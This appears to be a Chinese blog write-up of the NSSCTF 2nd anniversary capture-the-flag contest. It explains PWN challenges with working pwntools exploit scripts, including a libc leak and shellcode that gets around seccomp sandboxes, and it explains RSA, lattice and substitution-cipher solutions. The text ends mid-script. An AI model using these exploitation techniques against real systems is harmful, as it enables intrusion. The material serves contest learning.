当前位置: 首页 > news >正文

[NSSCTF 2nd] NSS两周年纪念赛。

 

都说开卷有益,其实作题也有益,每打一次总能学到点东西。

PWN

NewBottleOldWine

这个没作出来,一时还不明白RISC-V64怎么弄本地环境,不过看了WP感觉很简单,取flag用不着环境。

IDA不给翻译了,一点点看汇编。只有一个main,里边分成小段,

第一段前边是一堆puts,这里lui是传给它一个段号,然后addi加上偏移就得到具体地址。

然后读入一个数,从格式化串%lld来看是个8字节整形。红箭头上边这块将读入的数取出,转成w(sext.w前低16位符号位扩展为32位有符号整数)4字节整形,看是否大于0(bgtz:big then zero)如果大于0就跳到下边执行下一段,否则便exit。

 第二段也是个判断,先取出数,然后和0x9f比较如果小于则跳到下一段,否则退出

 

 第三段先是个puts然后 取出数字(lw:4字节整形)与start的地址相加,存到a5,然后中转到a5执行。

 第4段是个后门,执行system(/bin/sh)

 这里唯一的问题是这个数要小于0x9f且大于0,但是从 start到后门的偏移是0x220,由于第一次和0比较时用的低16位扩展成32位,第2次比较用的64位。所以这里可以设置一个负数:高4位为ff低4位是0x220这样第1次只用两字节通过,第2次用8字节显示是负数通过检查。这个数就是这样:

0xffffffff00000220

然后转成负数(-4294966750)输入取可。不需要写代码。 

happy2

这个题也没完成,卡在了一个shellcode上。

题目先是一个proof,可以读入数字然后显示。显然是个泄露漏洞,用scanf时如果输入一个+或者-号后边没数字的话,就不会将读入的东西写入,这样就会显示原来内存里的内容。由于上一步执行的init这里显然会有一个_IO_2_1_stderr_的地址。gdb跟进找到位置即可。这时是2。写两个-然后得到libc,输入puts的地址即可过头。

unsigned __int64 proof()
{unsigned int v1; // [rsp+8h] [rbp-A8h] BYREFint i; // [rsp+Ch] [rbp-A4h]int (**v3)(const char *); // [rsp+10h] [rbp-A0h] BYREFint (**v4)(const char *); // [rsp+18h] [rbp-98h]__int64 v5[17]; // [rsp+20h] [rbp-90h] BYREFunsigned __int64 v6; // [rsp+A8h] [rbp-8h]v6 = __readfsqword(0x28u);v4 = &puts;puts("How many things you want to konw");__isoc99_scanf("%d", &v1);if ( v1 >= 0x11 ){puts("Greedy!");exit(0);}for ( i = 0; i < (int)v1; ++i ){__isoc99_scanf("%ld", &v5[i]);printf("%ld", v5[i]);}puts("you konw enough you should know");puts("now you need to have a try");__isoc99_scanf("%ld", &v3);if ( v4 != v3 )exit(0);return v6 - __readfsqword(0x28u);
}

后边似乎没有这个proof难,读入shellcode 到mmap得到的可读写区域然后执行。

int __cdecl main(int argc, const char **argv, const char **envp)
{unsigned int v4; // [rsp+4h] [rbp-Ch]init();proof();v4 = fork();if ( v4 ){printf("pid: %d\n", v4);mmap((void *)0x10000, 0x1000uLL, 7, 50, -1, 0LL);read(0, (void *)0x10000, 0x1000uLL);sandbox();MEMORY[0x10000]();}else{love();}return 0;
}

当然没那么简单,这里设置了一个sandbox禁用了read,execveat等。由于execve也会用到read所以这个问题就比较麻烦了。

 line  CODE  JT   JF      K
=================================0000: 0x20 0x00 0x00 0x00000004  A = arch0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 00100002: 0x20 0x00 0x00 0x00000000  A = sys_number0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 00050004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 00100005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 00100006: 0x15 0x03 0x00 0x0000002a  if (A == connect) goto 00100007: 0x15 0x02 0x00 0x00000039  if (A == fork) goto 00100008: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 00100009: 0x06 0x00 0x00 0x7fff0000  return ALLOW0010: 0x06 0x00 0x00 0x00000000  return KILL

我一开始作的是xenny的诱惑,所以想同样用open+readv+writev但一直不成功,估计是readv用的结构可能的问题。看到WP用的是open+pread64+write一试果然OK

from pwn import *#p = process('./pwn')
p = remote('123.249.2.218', 10000)
context(arch='amd64', log_level= 'debug')libc = ELF('./libc.so.6')
elf = ELF('./pwn')#gdb.attach(p, "b*0x4015e7\nc")#proof
p.sendlineafter(b"How many things you want to konw\n", b'2')
p.sendline(b'-')
p.recv(1)
p.sendline(b'-')
libc.address = int(p.recvuntil(b'you', drop=True)) - libc.sym['_IO_2_1_stderr_']
p.sendlineafter(b"now you need to have a try\n", str(libc.sym['puts']).encode())bss_targ = 0x404000+0x800#open(&filename, 0,0)
#pread64(fd, buf, len, 0)
#write(1, buf, len)
shellcode = '''
mov rax, 0x67616c66; push rax; mov rdi,rsp; xor rsi,rsi; xor rdx,rdx; mov rax,2;syscall;
mov rdi,3; mov rsi,0x404800;mov rdx,0x100;xor r10,r10;mov rax,17;syscall;
mov rdi,1; mov rsi,0x404800;mov rdx,0x100;mov rax,1;syscall;
'''
payload = asm(shellcode)p.send(payload)p.interactive()

xenny的诱惑

这题我吃完饭,涮完锅,然后回来作居然给留了二血

这题没有附件,连上后会给一大堆base64的码。先存下来分析。

这种原来也见过,给的是个程序,这个程序是程序生成的,每次都会变化,但大体流程上不变只是变个数字。

打开以后看到main直接调用fun0然后每个fun都有11个分支。一共有1000个结点。

 最后一个应该是个后门,跟happy2差不多,也是个可读写执行的块,然后写shellcode,然后是sandbox

 这个sandbox有意思,禁用了ORW

 line  CODE  JT   JF      K
=================================0000: 0x20 0x00 0x00 0x00000004  A = arch0001: 0x15 0x00 0x07 0xc000003e  if (A != ARCH_X86_64) goto 00090002: 0x20 0x00 0x00 0x00000000  A = sys_number0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 00050004: 0x15 0x00 0x04 0xffffffff  if (A != 0xffffffff) goto 00090005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 00090006: 0x15 0x02 0x00 0x00000001  if (A == write) goto 00090007: 0x15 0x01 0x00 0x00000002  if (A == open) goto 00090008: 0x06 0x00 0x00 0x7fff0000  return ALLOW0009: 0x06 0x00 0x00 0x00000000  return KILL

这个ORW绕过用 openat+readv+writev

其中readv和writev需要从一个结构里读地址和长度,要先预设这个结构。

然后开始弄代码。这个程序由几小块完成。第1段获取代码,从中读出结点和每个结点的下级。应该是有程序可以解决这个,但我没有,我用的原始方法,从二进制代码里找。这个也有个优势就是这题有超时设置。自己读会比较省时间。

from pwn import *
from base64 import *
import sys def show(f):for i in f:print(hex(i), len(func[i]))for j in range(len(func[i])):print(hex(func[i][j]), end=',')print()p = remote('node6.anna.nssctf.cn', 28005)p.recvline()
msg = p.recvline().strip()
elf = b64decode(msg)
'''
#open('a.txt', 'wb').write(elf)
elf = open('a.elf','rb').read()p = process('./a.elf')
'''
context(arch='amd64', log_level='debug')#gdb.attach(p, "b*0x0000555555554000+0x13f8\nc")
#
pos = 0x1499
func = {}for i in range(1000):while not elf[pos:].startswith( b'\xF3\x0F\x1E\xFA'):pos += 1funid = pos ptr = []while not elf[pos:].startswith( b'\xb8\x00\x00\x00\x00\xe8'): #puts or xennypos += 1pos += 6v = (pos+4+u32(elf[pos:pos+4]))&0xffffffffif v == 0x1381:func[funid] = [0x1381]continuewhile not elf[pos:].startswith( b'\x3E\xFF\xE0'):  #第1个jmp是puts的找switch casepos += 1pos+=3while elf[pos:].startswith( b'\xb8\x00\x00\x00\x00\xe8'):pos +=6ptr.append((pos+4+u32(elf[pos:pos+4]))&0xffffffff)#print(elf[pos:pos+4])pos +=4func[funid] =ptr#print(i)#if i>2:#    break #print(func)
show(func)

然后找到这个路径。一开始用递归。看来这题专门对递归作了限制。不管是正向还是反向都会有环路。递归这东西应该是专门用来教学的。实际用的时候不应该用。至少要扁平化后才行。

way = []
first = 0x149a   #step1
target = 0x1381  #xenny
'''
def dfs(tfunc, tt, head):global way if len(tfunc) == 0:return if tt == target:way = headreturnk = tfunc.copy()v = k.pop(tt)#print(v, hex(tt))for i in range(len(v)):if v[i] in k:dfs(k, v[i], head+[i])dfs(func, first, [])
print('OK:',way)
'''way = [[first,'']]
ok = False
sway = ''
while len(way):print(len(way))tway = []for t_idx,t_s in way:if not t_idx in func: continuev = func.pop(t_idx)for i in range(len(v)):if v[i] == target:sway = t_sok = Truebreaktway.append([v[i], t_s+str(i+1)])if ok:breakif ok:breakway = tway.copy()print('ok:',sway)

然后输入这个代码,由于有必需tmp==1000的限制,这里前边补足0(0是直接加然后回到本级)这里漏了个问题,后来也懒得改,反正大概率成功。这里分支是11个,后边的是两位数,我只用了1位数存结果哈。一次成功,无所谓了。

for i in range(1000 - len(sway)):p.sendline(b'0')for i in sway:p.sendline(i.encode())

最后是shellcode,flag和结构直接跟在后边

shellcode = ''
shellcode += shellcraft.openat(0,'/flag')
shellcode += shellcraft.readv(3,0x10110,1)
shellcode += shellcraft.writev(1,0x10110,1)payload = asm(shellcode).ljust(0x100, b'\x00')+b'/flag\x00'.ljust(16, b'\x00')+ flat(0x10200, 0x100)p.sendline(payload)p.interactive()

CRYPTO

EzRSA

前两个密码非常简单

from Crypto.Util.number import *
from secret import flag
m = bytes_to_long(flag)
assert m.bit_length()<200
p = getPrime(512)
q = getPrime(512)
n = p*q
e = 3
c = pow(m, e, n)
kbits = 103
m = (m >> kbits) << kbits
Mod = getPrime(1024)
hint1 = (2021-2023*m) % Mod
hint2 = pow(2, 2023, Mod)
print('n =',n)
print('c =',c)
print('hint1 =',hint1)
print('hint2 =',hint2)

看上去很复杂,但一想flag也没多长,而e=3直接开方即可。

FunnyEncrypt

这个给一堆图标,在尾部可以明显看出来flag的痕迹

✧✡✭
✡✮ ✣✴✯ ✤✶✬✬✱ ✬✤ ✱✦✢✥✮✯✧✧, ✴✬✷✯ ✡✧ ✣✴✯ ✶✡✰✴✣. ✡✣ ❂✢✡✮✰✧ ✩✬✸✤✬✢✣, ✤✦✡✣✴, ✦✮✱ ✩✬✮✤✡✱✯✮✩✯. ✡✣ ✰✡✲✯✧ ✳✧ ✰✳✡✱✦✮✩✯ ★✴✯✮ ★✯ ✦✢✯ ✶✬✧✣, ✦✮✱ ✰✡✲✯✧ ✧✳✷✷✬✢✣ ★✴✯✮ ★✯ ✦✢✯ ✦✤✢✦✡✱. ✦✮✱ ✣✴✯ ✸✬✸✯✮✣ ★✯ ✰✡✲✯ ✳✷ ✴✬✷✯, ★✯ ✰✡✲✯ ✳✷ ✬✳✢ ✶✡✲✯✧. ✣✴✯ ★✬✢✶✱ ★✯ ✶✡✲✯ ✡✮ ✡✧ ✱✡✧✡✮✣✯✰✢✦✣✡✮✰ ✡✮✣✬ ✦ ✷✶✦✩✯ ✬✤ ✸✦✶✡✩✯ ✦✮✱ ✴✦✣✢✯✱, ★✴✯✢✯ ★✯ ✮✯✯✱ ✴✬✷✯ ✦✮✱ ✤✡✮✱ ✡✣ ✴✦✢✱✯✢. ✡✮ ✣✴✡✧ ★✬✢✶✱ ✬✤ ✤✯✦✢, ✴✬✷✯ ✣✬ ✤✡✮✱ ❂✯✣✣✯✢, ❂✳✣ ✯✦✧✡✯✢ ✧✦✡✱ ✣✴✦✮ ✱✬✮✯, ✣✴✯ ✸✬✢✯ ✸✯✦✮✡✮✰✤✳✶ ✶✡✤✯ ✬✤ ✤✦✡✣✴ ★✡✶✶ ✸✦✥✯ ✶✡✤✯ ✸✯✦✮✡✮✰✤✳✶.
✧✬✸✯✣✡✸✯✧ ★✯ ✣✴✡✮✥ ✬✤ ✱✢✯✦✸✧ ✦✧ ✤✦✮✣✦✧✡✯✧ - ✡✣'✧ ✯✦✧✵ ✣✬ ✱✬ ★✴✯✮ ✵✬✳ ✴✦✲✯ ✸✬✮✯✵, ✢✯✮✣, ✦✮✱ ★✬✢✥. ❂✳✣ ✵✬✳ ✩✦✮'✣ ✷✢✯✷✦✢✯ ✵✬✳✢✧✯✶✤ ✦✮✱ ✫✳✸✷ ✬✤✤ ✣✴✯ ✩✶✡✤✤: ✵✬✳ ✧✴✬✳✶✱ ✰✢✬★ ✵✬✳✢ ★✡✮✰✧ ✤✡✢✧✣. ✦ ✶✡✣✣✶✯ ❂✡✣ ✣✬★✦✢✱ ✣✴✯ ✱✢✯✦✸. ✧✣✯✷ ❂✵ ✧✣✯✷. ✣✦✥✯ ✦ ✧✣✯✷ ✤✬✢★✦✢✱. ✦✤✣✯✢ ✦✶✶, ✡✣'✧ ✵✬✳✢ ✸✡✧✧✡✬✮.
✥✯✯✷ ✤✦✡✣✴ ✦✮✱ ✴✬✷✯ ✤✬✢ ✣✴✯ ✤✳✣✳✢✯. ✸✦✥✯ ✵✬✳✢ ✸✬✧✣ ✧✡✮✩✯✢✯ ✱✢✯✦✸✧, ✦✮✱ ★✴✯✮ ✣✴✯ ✬✷✷✬✢✣✳✮✡✣✡✯✧ ✩✬✸✯, ✣✴✯✵ ★✡✶✶ ✤✡✰✴✣ ✤✬✢ ✣✴✯✸. ✡✣ ✸✦✵ ✣✦✥✯ ✦ ✧✯✦✧✬✮ ✬✢ ✸✬✢✯, ❂✳✣ ✣✴✯ ✯✮✱✡✮✰ ★✡✶✶ ✮✬✣ ✩✴✦✮✰✯. ✦✸❂✡✣✡✬✮, ❂✯✧✣, ❂✯✩✬✸✯ ✦ ✢✯✦✶✡✣✵. ✦✮ ✳✮✩✯✢✣✦✡✮ ✤✳✣✳✢✯, ✬✮✶✵ ✬✮✯ ✧✣✯✷ ✦✣ ✦ ✣✡✸✯, ✣✴✯ ✴✬✷✯ ✩✦✮ ✢✯✦✶✡✪✯ ✣✴✯ ✱✢✯✦✸ ✬✤ ✣✴✯ ✴✡✰✴✯✧✣. ★✯ ✸✳✧✣ ✣✢✯✦✧✳✢✯ ✣✴✯ ✱✢✯✦✸, ✣✬ ✷✢✬✣✯✩✣ ✡✣ ✦ ✧✯✦✧✬✮, ✶✯✣ ✡✣ ✡✮ ✣✴✯ ✴✯✦✢✣ ❋✳✡✯✣✶✵ ✰✯✢✸✡✮✦✶.
✬✮✶✵ ★✴✯✮ ✵✬✳ ✳✮✱✯✢✧✣✦✮✱ ✣✴✯ ✣✢✳✯ ✸✯✦✮✡✮✰ ✬✤ ✶✡✤✯ ✩✦✮ ✵✬✳ ✶✡✲✯ ✣✢✳✶✵. ❂✡✣✣✯✢✧★✯✯✣ ✦✧ ✶✡✤✯ ✡✧, ✡✣'✧ ✧✣✡✶✶ ★✬✮✱✯✢✤✳✶, ✦✮✱ ✡✣'✧ ✤✦✧✩✡✮✦✣✡✮✰ ✯✲✯✮ ✡✮ ✣✢✦✰✯✱✵. ✡✤ ✵✬✳'✢✯ ✫✳✧✣ ✦✶✡✲✯, ✣✢✵ ✴✦✢✱✯✢ ✦✮✱ ✣✢✵ ✣✬ ✶✡✲✯ ★✬✮✱✯✢✤✳✶✶✵.
✡ ❂✯✶✡✯✲✯ ✣✴✯✢✯ ✡✧ ✦ ✷✯✢✧✬✮ ★✴✬ ❂✢✡✮✰✧ ✧✳✮✧✴✡✮✯ ✡✮✣✬ ✵✬✳✢ ✶✡✤✯. ✣✴✦✣ ✷✯✢✧✬✮ ✸✦✵ ✴✦✲✯ ✯✮✬✳✰✴ ✣✬ ✧✷✢✯✦✱ ✦✢✬✳✮✱. ❂✳✣ ✡✤ ✵✬✳ ✢✯✦✶✶✵ ✴✦✲✯ ✣✬ ★✦✡✣ ✤✬✢ ✧✬✸✯✬✮✯ ✣✬ ❂✢✡✮✰ ✵✬✳ ✣✴✯ ✧✳✮ ✦✮✱ ✰✡✲✯ ✵✬✳ ✦ ✰✬✬✱ ✤✯✯✶✡✮✰, ✣✴✯✮ ✵✬✳ ✸✦✵ ✴✦✲✯ ✣✬ ★✦✡✣ ✦ ✶✬✮✰ ✣✡✸✯.
✡✮ ✦ ★✬✢✱,✡ ✴✬✷✯ ✵✬✳ ★✡✶✶ ✶✡✥✯ ✩✢✵✷✣✬✰✢✦✷✴✵.✣✴✡✧ ✡✧ ✵✬✳✢ ✤✶✦✰:✮✧✧✩✣✤{✩✢✵✷✣✬_✡✧_✧✬_✡✮✣✯✢✯✧✣✡✮✰_★✴✵_✱✬✮'✣_✵✬✳_✫✬✡✮_✳✧}
 

应该是先换成字母再用quipquip字频分析。我是手工替换的,这个很容易,好多词都是固定的

SI✭
IN THE FLOOD OF DARKNESS, HOPE IS THE LIGHT. IT BRINGS COMFORT, FAITH, AND CONFIDENCE. IT GIVES US GUIDANCE WHEN WE ARE LOST, AND GIVES SUPPORT WHEN WE ARE AFRAID. AND THE MOMENT WE GIVE UP HOPE, WE GIVE UP OUR LIVES. THE WORLD WE LIVE IN IS DISINTEGRATING INTO A PLACE OF MALICE AND HATRED, WHERE WE NEED HOPE AND FIND IT HARDER. IN THIS WORLD OF FEAR, HOPE TO FIND BETTER, BUT EASIER SAID THAN DONE, THE MORE MEANINGFUL LIFE OF FAITH WILL MAKE LIFE MEANINGFUL.
SOMETIMES WE THINK OF DREAMS AS FANTASIES - IT'S EASY TO DO WHEN YOU HAVE MONEY, RENT, AND WORK. BUT YOU CAN'T PREPARE YOURSELF AND JUMP OFF THE CLIFF: YOU SHOULD GROW YOUR WINGS FIRST. A LITTLE BIT TOWARD THE DREAM. STEP BY STEP. TAKE A STEP FORWARD. AFTER ALL, IT'S YOUR MISSION.
KEEP FAITH AND HOPE FOR THE FUTURE. MAKE YOUR MOST SINCERE DREAMS, AND WHEN THE OPPORTUNITIES COME, THEY WILL FIGHT FOR THEM. IT MAY TAKE A SEASON OR MORE, BUT THE ENDING WILL NOT CHANGE. AMBITION, BEST, BECOME A REALITY. AN UNCERTAIN FUTURE, ONLY ONE STEP AT A TIME, THE HOPE CAN REALI✪E THE DREAM OF THE HIGHEST. WE MUST TREASURE THE DREAM, TO PROTECT IT A SEASON, LET IT IN THE HEART ❋UIETLY GERMINAL.
ONLY WHEN YOU UNDERSTAND THE TRUE MEANING OF LIFE CAN YOU LIVE TRULY. BITTERSWEET AS LIFE IS, IT'S STILL WONDERFUL, AND IT'S FASCINATING EVEN IN TRAGEDY. IF YOU'RE JUST ALIVE, TRY HARDER AND TRY TO LIVE WONDERFULLY.
I BELIEVE THERE IS A PERSON WHO BRINGS SUNSHINE INTO YOUR LIFE. THAT PERSON MAY HAVE ENOUGH TO SPREAD AROUND. BUT IF YOU REALLY HAVE TO WAIT FOR SOMEONE TO BRING YOU THE SUN AND GIVE YOU A GOOD FEELING, THEN YOU MAY HAVE TO WAIT A LONG TIME.
IN A WORD,I HOPE YOU WILL LIKE CRYPTOGRAPHY.THIS IS YOUR FLAG:nssctf{crypto_is_so_interesting_why_don't_you_join_us} 

Math 

这个没完成,但收获比较大,费马逆推第一次。

题目分两部分,第1是给了invert(p,q),invert(q,p)和phi

from secret import flag
from Crypto.Util.number import *
import gmpy2length = len(flag)
flag1 = flag[:length//2]
flag2 = flag[length//2:]
e = 65537m1 = bytes_to_long(flag1)
p = getPrime(512)
q = getPrime(512)
n = p*q
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)p1 = gmpy2.invert(p,q)
q1 = gmpy2.invert(q,p)
c = pow(m1,e,n)print("p1=",p1)
print("q1=",q1)
print("c=",c)
print("phi=",phi)

这里在大姥2021年博客里有,但拿那个方法没成功,他在博客里说了原文地址,在github上找到后一运行成功。

p1= 3020925936342826638134751865559091272992166887636010673949262570355319420768006254977586056820075450411872960532347149926398408063119965574618417289548987
q1= 4671408431692232396906683283409818749720996872112784059065890300436550189441120696235427299344866325968178729053396743472242000658751114391777274910146291
c= 25112054943247897935419483097872905208058812866572413543619256987820739973912338143408907736140292730221716259826494247791605665059462509978370784276523708331832947651238752021415405546380682507724076832547566130498713598421615793975775973104012856974241202142929158494480919115138145558312814378701754511483
phi= 57503658815924732796927268512359220093654065782651166474086873213897562591669139461637657743218269483127368502067086834142943722633173824328770582751298229218384634668803018140064093913557812104300156596305487698041934061627496715082394633864043543838906900101637618600513874001567624343801197495058260716932#https://github.com/pcw109550/write-up/tree/master/2019/HITCON/Lost_Modulus_Again
d = gmpy2.invert(e, phi)kn = e * d - 1
count = 0def solve(a, b, c):D = b ** 2 - 4 * a * cassert gmpy2.is_square(D)x1 = (-b + gmpy2.isqrt(D)) // (2 * a)x2 = (-b - gmpy2.isqrt(D)) // (2 * a)return x1, x2for k in range(3, e):if kn % k == 0:count += 1phi_n = kn // k# coefficients of quadratic eqa = x - 1b = x * y - 1 + (x - 1) * (y - 1) - phi_nc = (y - 1) * (x * y - 1)try:k1, k2 = solve(a, b, c)if (x * y - 1) % k1 == 0:k2 = (x * y - 1) // k1elif (x * y - 1) % k2 == 0:k1, k2 = k2, (x * y - 1) // k2else:assert Falsep, q = x + k2, y + k1N = p * qflag = long_to_bytes(pow(ct, d, N)).strip()breakexcept AssertionError:passprint(flag)
#NSSCTF{e713afa4-fcd8-4

后来看WP还有更简单的方法

#方法2 
import z3
import libnum
s = z3.Solver()
p, q = z3.Ints('p q')
#invp*p = 1 mod q ; invq*q = 1 mod p 
#????
s.add(p*q == pinv * p + qinv * q - 1)
s.add(phi == (p-1)*(q-1))print(s.check())
m = s.model()p = m[p].as_long()
q = m[q].as_long()d = libnum.invmod(e, phi)
flag = pow(c,d,p*q)
flag1 = libnum.n2s(flag)

第二部分似曾相识,可原来都是两个式子,这里是一个

m2 = bytes_to_long(flag2)
p = getPrime(1024)
q = getPrime(1024)
n = p * q
c = pow(m2, e, n)
hint = pow(2023 * p + 114514, q, n)
print("n=",n)
print("c=",c)
print("hint=",hint)

后来看大姥WP并问了若干次才明白。这个叫费马小定理逆推。

先对原式模p得到  hint = (2023p + 114514)^{q} = 114514^{q}\, mod\, p

然后逆推一下114514^{N} = 114514^{p*q} = 114514^{q^{p}} = 114514^{q}\,mod \,p

这里的114514^q可以替换成114514^N这样去掉q以后与N取公因子就得到p了

n= 12775720506835890504634034278254395430943267336816473660983646973423280986156683988190224391394224069040565587173690009193979401332176772774003070053150665425296356891182224095151626957780349726980433545162004592720236315207871365869074491602494662741551613634958123374477023452496165047922053316939727488269523121920612595228860205356006298829652664878874947173274376497334009997867175453728857230796230189708744624237537460795795419731996104364946593492505600336294206922224497794285687308908233911851722675754289376914626682400586422368439122244417279745706732355332295177737063024381192630487607768783465981451061
c= 11915755246503584850391275332434803210208427722294114071001100308626307947436200730224125480063437044802693983505018296915205479746420176594816835977233647903359581826758195341201097246092133133080060014734506394659931221663322724002898147351352947871411658624516142945817233952310735792476179959957816923241946083918670905682025431311942375276709386415064702578261223172000098847340935816693603778431506315238612938066215726795441606532661443096921685386088202968978123769780506210313106183173960388498229061590976260661410212374609180449458118176113016257713595435899800372393071369403114116302366178240855961673903
hint= 3780943720055765163478806027243965253559007912583544143299490993337790800685861348603846579733509246734554644847248999634328337059584874553568080801619380770056010428956589779410205977076728450941189508972291059502282197067064652703679207594494311426932070873126291964667101759741689303119878339091991064473009603015444698156763131697516348762529243379294719509271792197450290763350043267150173332933064667716343268081089911389405010661267902446894363575630871542572200564687271311946580866369204751787686029541644463829030926902617740142434884740791338666415524172057644794094577876577760376741447161098006698524808#hint = pow(2023p+114514,q,n)
#hint =(ap+b)^q (mod p) 
#     = b^q (mod p)  二项式定理
#     = b^p*b^q (mod p)= b^N (mod p)  #费马小定理反推 b^N = b^(pq) = (b^q)^p = b^q mod p 
from gmpy2 import gcd,invert
from Crypto.Util.number import long_to_bytes 
p = gcd(hint - pow(114514,n,n), n)
m = pow(c,invert(e,p-1),p)
long_to_bytes(m)
#19f-a1a6-959449b4df5a}

LatticeLCG

这题一开始两个小e然后两个c显然是共模攻击,但是没有给n

然后n作为lcg的模给了两个值

最后给出随机的20个e和一个随机数的20个c

from Crypto.Util.number import *flag = b'NSSCTF{******************************}'a = getPrime(512)
seed = getPrime(512)
b = bytes_to_long(flag)
n = getPrime(1024)e1 = 2333
e2 = 23333
c1 = pow(a,e1,n)
c2 = pow(a,e2,n)output = []
for i in range(10):seed = (a*seed+b)%noutput.append(seed)print("c1 = ",c1)
print("c2 = ",c2)
print("output1 = ",output[0])
print("output2 = ",output[1])e = [getPrime(128) for _ in range(20)]
out = []
m = getPrime(64)for i in e:out.append(pow(m,i,n))print("e=",e)
print("out=",out)

第一步用这20组e,c求n用直列格规约

es= [297332330847212015073434001239859795661, 247136911662054641479463124065475615181, 269964458627145370722389742095701827701, 270745917671094194052444327351021588037, 254010082507930275771798119457499420531, 219178601856077385518322602059961601013, 226562702503988968288128483964146379529, 236756812424464516919183114495913408541, 330800121752029915693039296018980956519, 244800084005240595691424199440981715431, 171753849214889522920105847094773384191, 175843874533972361422410968920873382741, 326554577162848075059517044795930784993, 181842368629269753698222635712342485771, 221634122983362091660188171985742369561, 314244561819808202322467576330355199409, 286703236198397527318161582654787197007, 298101543059628501506668748374542117409, 304158884506393754601331945634109778837, 227577031261920314010408499530794497453]
cs= [100163998802948218573427220530909801629443946118807841130458771881611961921044413091457977957530737347507311468578174294420439883266450142918647561103714976340598499984679873518770686239019753272419975426555435266764099822607336645955391865380657632176223122712125661464370522088500110746571354290680063421912, 123528268396018633078964378145622645321836134964966941909300627704018826667414656614011250938241127521627117348901416042868382174504514240509791471909819407751786633761392047187057200130450960708049681366686147337178110669163142189940397343388837018627392202704211693014162963133958078984558400205296509955066, 50364974727218716170137342348825758682286710377257708196467656986986475658591351848251278364177715325447140300281348027787487944839878770556527568407280736570303345044999352851718908253510696083227344179177110348363623815158409862985684687329665113210373028159714648637297476014803935686233984711925346269925, 9159042298258514259206302054907530984498816597282237786310355131965025367180505822032135021520906576471052417629425493533222088036674196397387325202128095476044308794426593565419139845832998557280786358482011226957053125314152322427131984411160984485669030286331376124575677908877399942011661647598763754231, 83466948172962290899792524342204996697711370224947233607865306692546824512672969402433314856742908546253967225963904395036102408684746619744412073888614033881366518452878344698289278946024167788789718690655953517892282374396760436658422838909903123439370164929347147855359470889455753772857233516742991766128, 72028057477369331020972407277180913909557985390590548305094935208898254733240351763155769013959589016793318772858662702447133499307826143247356049051993727167694036585280387890126287679890730586145740176250715386149857291210207281073772478229355625725300592003798974298248102432508449566953296818450441875311, 63397152736399466888877444377156185012692670493456346196278062009641363047685720620967313379507212944658351683022480839941265221126018392433078546696140135677499181555082643172378488800458657825640013090182171355299282023794908520172571785687147143015581400891531296496177973817400317905868361800342940667657, 45427004823510815929685208038284324980662968275105063862891077759131069014314933978878667052450145039482242546093735499108826130367476890384431317243013990394189191560941678120985717370542332803012619694821129395559214706968432476548145608291516176910849698455496733056096163035964057523545705356926187216133, 85046100612081858546755294340770681541320509587396377967875404950325314121709046137842413744740490231945105758075761946555179595664901813127463402854440384657046429776033129391138370272524736543471909307910018577738207910417672603889922445435939876023878220177983424547612635006926243055642166274730894301704, 5833380233103086014860892228744764647016585478949686583145531659689295506666493518453642500086277427538189091865461553097914845680665917702500908205558454036911757659426809969367680394533585635383007758339917554453268182491874683638880986360065633842854622244953985055815937671635222264056071882344388307409, 83587615309194701727032548415548847571046191382552371312058083137102227325098839286526833147951063338204327145093831238962818333112251936853329663907079943414231588222256242520221314528944937229985997926851198158564313703719031124442094987245466116488897263358510493905440842917634723859176839440753120904481, 108651960334634726889543063749359050688114025706494125848785084643330096858725917513596985853593252388835207675036982640195609499739937405655156895161071906340785173459426867946058638393154997931747445494284445204735492709747637173698383609764016673932827648159152658645291248613736662020472251048171789274368, 118612010487916657134965416492319303083994743753602531817008130269546146141506819718265549648441671373744766173780682168587021797626910931105508317440664521595783406848956221465897709761805869130021172013000282497881581247777388315282629463546261696169893882772397797722134711444928443061384985458691749569847, 106808406616890955924408992591724627593882118490933791849624747503316110669154243209826761617940864170830792705070618439466645580274835929100331418955890808763286193770831205511071440703609240364726061677822134370309018443508205980554831705850988319397384130044484586798585896460152167042282847992593429629533, 88091869606421350393441194783722851111189272445506506936925797213395319937783082680078622732926273935980894566775394134783157488360516905477700601820480975112122167589887641130656305741351643175495552454293030309247254533571254198691204714097846510872592569447050033289483493274672346210063885124570695832880, 94400859500860667431780782962782396345261822402898708716634581228428633704975879685572548692997007974004673676539496590659276952154740096463133011458100387006276325192223993452314873089466451613079029429327880672384210802191677586975844471189127835578979108767548290181668434770385199468588493042256788539610, 76177813724283720012398394789596589415486093955132688784865364048503447246391866424200071522136707581280434193680972230914105236504028522288780213089260160776489804587209115330412067560802680789338779056583047491942817016437672075192528508677997165703606520158178725128251694801612417667440677124932361973397, 17188209523466762369281362386525396145127294763502094183797065621821932913685690176344514910405677170931795652509426794846131051983826422536084073462084935517166603832542862106287058675490933197600813710203114108790043880150305327523679949543592622443904084453387396870899883324751789625806819506542619123964, 120007173989070249117019147454557020213723707722383599019972471016186584968096445904023372671513462965078400715365736756710078805039115601609874780421117795585342458478316236202328120583456334489780231976628584606042971207759763658961365139429661536955996519512283283500790612975034779837647053750631763512799, 18797057418663411295612229938999282286746920748194349166509084258061650142260043277698907538088835210620841171754186980908772147495732980563542600139935202965632319542217264685208215907551992891370166006725534397313373079841419662622936316343820775075897977228084528246337988431658221881343556854053475137330]#求nB = matrix(ZZ, 2, 20)
B[0] = es 
B[1] = [1 for _ in range(20)]M = B.right_kernel_matrix()
L = M.LLL()#求n
def compute_kn(coff):res_right = 1res_left = 1for i ,cof in enumerate(coff):if cof > 0:res_right = res_right * cs[i]**cofelse:res_left = res_left * cs[i]**(-cof)return res_left - res_right#最大公约数
n = compute_kn(L[0])
for l in L[1:]:n = gcd(compute_kn(l),n)n = factor(n,limit = 2**20)[-1][0]if n.nbits() <= 2048:break
print(n)
n = 144195616225517130139553879032789087363345719184209965153957734484017481087563259298073412179385691339856835367038233652960921043438130441546622467854561746540234185779818652424614702625694747523202592051400384839225423182264627929190443610610683526608116658120285614198376504623869469278859145863411493155577

第二步共模攻击求因子a

#共模攻击
e1 = 2333
e2 = 23333
c1 =  132894829064255831243210470637067717685821770359549730768366345840525257033166172926149293454192143005551270166547902269036843756318967855047301751521125394803373953151753927497701242767032542708689455184991906629946511295108898559666019232955132938245031352553261823905498810285940911315433144300083027795647
